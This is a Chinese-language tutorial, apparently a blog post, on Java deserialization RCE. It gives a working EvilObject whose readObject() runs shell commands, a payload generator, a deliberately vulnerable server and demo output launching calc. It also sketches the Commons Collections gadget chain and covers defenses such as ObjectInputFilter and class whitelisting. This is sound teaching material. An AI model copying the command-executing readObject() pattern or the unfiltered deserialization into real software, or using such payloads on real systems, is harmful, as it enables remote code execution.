文章目录
-
- 一、反序列化漏洞是什么?
-
- [1.1 漏洞本质](#1.1 漏洞本质)
- [1.2 类比理解](#1.2 类比理解)
- [1.3 为什么危险?](#1.3 为什么危险?)
- [二、RCE 漏洞:从 DNS 探测到命令执行](#二、RCE 漏洞:从 DNS 探测到命令执行)
-
- [2.1 什么是 RCE?](#2.1 什么是 RCE?)
- [2.2 核心思路](#2.2 核心思路)
- [2.3 恶意对象(EvilObject.java)](#2.3 恶意对象(EvilObject.java))
- 三、完整的攻击链演示
-
- [3.1 项目结构](#3.1 项目结构)
- [3.2 Payload 生成器(PayloadGenerator.java)](#3.2 Payload 生成器(PayloadGenerator.java))
- [3.3 漏洞服务器(VulnerableServer.java)](#3.3 漏洞服务器(VulnerableServer.java))
- [3.4 运行演示](#3.4 运行演示)
- 四、真实世界的反序列化漏洞
-
- [4.1 著名漏洞案例](#4.1 著名漏洞案例)
- [4.2 为什么真实攻击更复杂?](#4.2 为什么真实攻击更复杂?)
- [4.3 Commons Collections 利用链](#4.3 Commons Collections 利用链)
- [4.4 Gadget Chain 的原理](#4.4 Gadget Chain 的原理)
- 五、如何防御反序列化漏洞?
-
- [5.1 根本方案:禁用原生序列化](#5.1 根本方案:禁用原生序列化)
- [5.2 JDK 9+:ObjectInputFilter](#5.2 JDK 9+:ObjectInputFilter)
- [5.3 Java 8 及以下:自定义 ObjectInputStream](#5.3 Java 8 及以下:自定义 ObjectInputStream)
- [5.4 依赖扫描](#5.4 依赖扫描)
- 六、总结
-
- [6.1 核心要点](#6.1 核心要点)
- [6.2 安全开发原则](#6.2 安全开发原则)
- 附录:项目文件
系列导读:本文是 Java 反序列化漏洞系列文章的第二篇,重点讲解 RCE 漏洞利用、真实案例分析、Gadget Chain 原理以及防御策略。建议先阅读[第一篇](file:///d:/Programs/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90.md)了解序列化基础原理和 DNS 探测技术。
一、反序列化漏洞是什么?
1.1 漏洞本质
反序列化漏洞:当应用程序对不可信的数据执行反序列化操作时,攻击者可以构造恶意数据,在目标系统上执行任意代码。
1.2 类比理解
想象你收到一个包裹:
- 正常情况:你拆开包裹,里面是朋友寄的礼物
- 漏洞情况:你拆开包裹的瞬间,包裹里的炸弹自动爆炸了!
反序列化漏洞就是:在"拆开包裹"(反序列化)的过程中,恶意代码自动执行了。
1.3 为什么危险?
| 特点 | 说明 |
|---|---|
| 自动执行 | 不需要调用任何方法,反序列化时自动触发 |
| 权限高 | 以应用程序的权限执行代码 |
| 影响广 | 几乎所有使用 Java 序列化的系统都可能受影响 |
| 难检测 | 恶意代码藏在数据中,防火墙难以发现 |
二、RCE 漏洞:从 DNS 探测到命令执行
2.1 什么是 RCE?
RCE(Remote Code Execution):远程代码执行。攻击者可以在目标系统上执行任意命令,是最高危的漏洞类型之一。
2.2 核心思路
在[第一篇](file:///d:/Programs/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90.md)中,我们使用 DnsObject 在 readObject() 中触发 DNS 查询。现在,我们将其升级为执行系统命令:
java
// DNS 探测(第一篇)
InetAddress.getByName(domain); // 触发 DNS
// RCE 攻击(本篇)
Runtime.getRuntime().exec("cmd /c calc"); // 执行命令
2.3 恶意对象(EvilObject.java)
完整代码 :[EvilObject.java](file:///d:/Programs/Security/DeserializationVuln/src/EvilObject.java)
java
public class EvilObject implements Serializable {
private String command; // 要执行的命令
public EvilObject(String command) {
this.command = command;
}
// 【关键】反序列化时自动调用
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // 读取 command 字段
executeCommand(command); // 执行恶意命令!
}
// 执行系统命令
private void executeCommand(String cmd) throws IOException {
Process process;
String os = System.getProperty("os.name").toLowerCase();
// 根据操作系统选择命令执行方式
if (os.contains("win")) {
process = Runtime.getRuntime().exec("cmd /c " + cmd);
} else {
process = Runtime.getRuntime().exec("sh -c " + cmd);
}
try {
process.waitFor(); // 等待命令执行完成
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
}
逐行解释:
implements Serializable:让类可以被序列化private void readObject(...):这是"魔法方法",反序列化时自动调用ois.defaultReadObject():读取对象的正常数据(command 字段)Runtime.getRuntime().exec(...):执行系统命令------这就是漏洞!
三、完整的攻击链演示
3.1 项目结构
DeserializationVuln/
├── src/
│ ├── PayloadGenerator.java # 攻击者:生成恶意 Payload
│ ├── EvilObject.java # 恶意对象:包含 readObject() 后门
│ ├── DnsLogExploit.java # DNS 探测(第一篇)
│ └── VulnerableServer.java # 目标服务器:存在反序列化漏洞
├── build.ps1 # 编译脚本
└── run.ps1 # 运行脚本
3.2 Payload 生成器(PayloadGenerator.java)
完整代码 :[PayloadGenerator.java](file:///d:/Programs/Security/DeserializationVuln/src/PayloadGenerator.java)
攻击者使用这个程序生成恶意数据:
java
public class PayloadGenerator {
public static void main(String[] args) throws Exception {
// 构造恶意数据
Map<String, Object> payload = createPayload();
// 序列化到文件
serializePayload(payload, "payload.ser");
}
private static Map<String, Object> createPayload() {
Map<String, Object> map = new HashMap<>();
// 创建恶意对象
EvilObject evil = new EvilObject("calc"); // 打开计算器
// 藏到 HashMap 里
map.put("data", evil);
map.put("type", "user_input");
return map;
}
private static void serializePayload(Object obj, String filename) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename))) {
oos.writeObject(obj);
}
}
}
类比理解:
这就像制作一个"特洛伊木马":
- 创建一个普通的 HashMap(看起来像正常数据)
- 但里面藏着一个 EvilObject(恶意对象)
- 序列化后,通过网络发送给目标
3.3 漏洞服务器(VulnerableServer.java)
完整代码 :[VulnerableServer.java](file:///d:/Programs/Security/DeserializationVuln/src/VulnerableServer.java)
模拟存在漏洞的服务器:
java
public class VulnerableServer {
public static void main(String[] args) {
// 接收数据
byte[] data = receiveData("payload.ser");
// 反序列化(漏洞触发点!)
Object result = deserialize(data);
// 处理数据
processData(result);
}
// 【漏洞所在】反序列化数据
private static Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
// 漏洞:直接反序列化不可信数据
return ois.readObject();
}
}
}
漏洞分析:
deserialize() 方法的问题:
- 直接反序列化不可信数据
- 没有检查数据类型
- 没有过滤危险类
- 反序列化过程中,
EvilObject.readObject()自动执行
3.4 运行演示
powershell
# 进入项目目录
cd d:\Programs\Security\DeserializationVuln
# 编译
.\build.ps1
# 运行
.\run.ps1
输出结果:
=== 步骤 1: 攻击者生成恶意 Payload ===
[1] 构造恶意 Payload...
✓ Payload 构造完成
[2] 序列化 Payload 到文件: payload.ser
✓ 序列化完成
=== 步骤 2: 目标服务器反序列化(触发漏洞)===
[1] 接收数据...
接收到 186 字节数据
[2] 反序列化数据...
[!] 漏洞触发!正在执行命令: calc
[!] 命令执行完成
[3] 处理数据...
数据类型: Map
包含键: [data, type]
关键观察:
- 服务器只是调用了
ois.readObject() - 没有显式调用
EvilObject的任何方法 - 但
calc命令被执行了(计算器弹出) - 这就是反序列化漏洞的威力!
四、真实世界的反序列化漏洞
4.1 著名漏洞案例
| 漏洞 | 影响组件 | 年份 | CVSS |
|---|---|---|---|
| CVE-2015-4852 | Oracle WebLogic | 2015 | 10.0 |
| CVE-2016-0792 | Jenkins | 2016 | 10.0 |
| CVE-2016-4437 | Apache Shiro | 2016 | 9.8 |
| CVE-2017-18349 | Fastjson | 2017 | 9.8 |
4.2 为什么真实攻击更复杂?
我们的演示使用了自定义的 EvilObject,但真实攻击中:
- 不能修改目标代码:攻击者只能利用已有的类
- 需要 Gadget Chain:通过多个类的组合,最终执行恶意代码
- 需要绕过防护:如白名单、过滤器等
4.3 Commons Collections 利用链
真实攻击中,攻击者使用第三方库中的 Gadget Chain:
ObjectInputStream.readObject()
↓
AnnotationInvocationHandler.readObject()
↓
LazyMap.get()
↓
ChainedTransformer.transform()
↓
InvokerTransformer.transform()
↓
Method.invoke(Runtime.getRuntime().exec("calc"))
关键 :这个利用链只需要目标系统引入了 commons-collections 库,就可以执行任意代码。
4.4 Gadget Chain 的原理
Gadget:可被利用的类或方法。
Gadget Chain:多个 Gadget 组合成的利用链。
攻击者构造的序列化数据
↓
触发 JDK 类的 readObject()
↓
调用第三方库的方法
↓
链式调用多个方法
↓
最终执行 Runtime.exec()
五、如何防御反序列化漏洞?
5.1 根本方案:禁用原生序列化
java
// 改用 JSON、Protobuf 等无执行语义的格式
// 使用 Jackson、Gson 等库
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(obj); // 序列化
Object obj = mapper.readValue(json, Object.class); // 反序列化
优点:JSON 等格式没有"魔法方法",反序列化时不会自动执行代码。
5.2 JDK 9+:ObjectInputFilter
java
// 白名单模式:只允许指定的类
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"java.util.HashMap;java.lang.String;java.lang.Integer;!*"
);
ois.setObjectInputFilter(filter);
工作原理:
java.util.HashMap:允许反序列化 HashMapjava.lang.String:允许反序列化 String!*:拒绝所有其他类
5.3 Java 8 及以下:自定义 ObjectInputStream
java
public class SecureObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES = new HashSet<>(Arrays.asList(
"java.lang.String", "java.lang.Integer", "java.util.HashMap"
));
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String name = desc.getName();
if (!ALLOWED_CLASSES.contains(name)) {
throw new InvalidClassException("Unauthorized class: " + name);
}
return super.resolveClass(desc);
}
}
工作原理:在反序列化之前,检查类名是否在白名单中。
5.4 依赖扫描
使用工具扫描项目依赖,确认是否有危险的库:
bash
# OWASP Dependency-Check
dependency-check.sh --project "MyApp" --scan ./lib
# Snyk CLI
snyk test --all-projects
六、总结
6.1 核心要点
- 反序列化漏洞的根源 :
readObject()等魔法方法会被自动调用 - 攻击方式:构造包含恶意对象的序列化数据
- 触发条件:目标系统对不可信数据执行反序列化
- 防御方案:禁用原生序列化、使用白名单、依赖扫描
6.2 安全开发原则
永远不要反序列化不可信的数据
任何来自外部输入的对象,都不应被视为"安全"
JDK 自带类 ≠ 安全类
附录:项目文件
| 文件 | 说明 |
|---|---|
[DnsLogExploit.java] |
DNS 探测(第一篇) |
[PayloadGenerator.java] |
RCE Payload 生成器 |
[EvilObject.java] |
恶意对象(执行命令) |
[VulnerableServer.java] |
模拟漏洞服务器 |
[build.ps1] |
编译脚本 |
[run.ps1] |
运行脚本 |